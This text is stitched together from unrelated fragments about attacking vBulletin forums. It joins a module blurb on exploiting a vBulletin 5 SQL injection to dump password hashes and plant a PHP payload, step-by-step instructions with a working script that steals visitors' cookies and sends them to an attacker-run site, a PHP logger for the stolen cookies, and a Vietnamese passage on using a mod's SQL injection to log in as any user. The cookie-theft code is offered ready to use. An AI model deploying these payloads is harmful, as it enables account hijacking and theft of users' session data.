        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.

vBulletin Announcements Cookie Steal Vulnerability

vBulletin Announcements, by default has html enabled, so if you get access to a forum using other exploits and get a user with acp info, but it only has default admin cp permissions (moderator access and announcements), you can inject a cookie stealer and steal other users informations.

admincp>announcements>create a new one>put some random announcemnt + this code:

<script language="JavaScript">
document.location= " http://www.yoursite.com/cookie.php?p=" + document.cookie; </script>

and in your site put this and name it cookie.php

<?php
$cookie = $HTTP_GET_VARS[" p"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";
?>

If you're the owner, a "fix" for this is disallow html in announcements.

2 lỗi mà mình nói đến là lỗi SQL Injection của mod Chang stat và lỗi CSRF để add plugin.

1. Lỗi SQL Injection của Changuondyu Statistics
Khi khai thác lỗi này, attacker sẽ lấy được gần như toàn bộ database của bạn nếu muốn. Và thông thường, cái attacker nhắm đến là table user. Khi lấy được 3 cột: userid, password và salt => Attacker có thể login vào tài khoản của bất kỳ user nào mà không cần biết password là gì (Với điều kiện là Admin không biết config đúng file config.php cùa vBB).READ MORE »
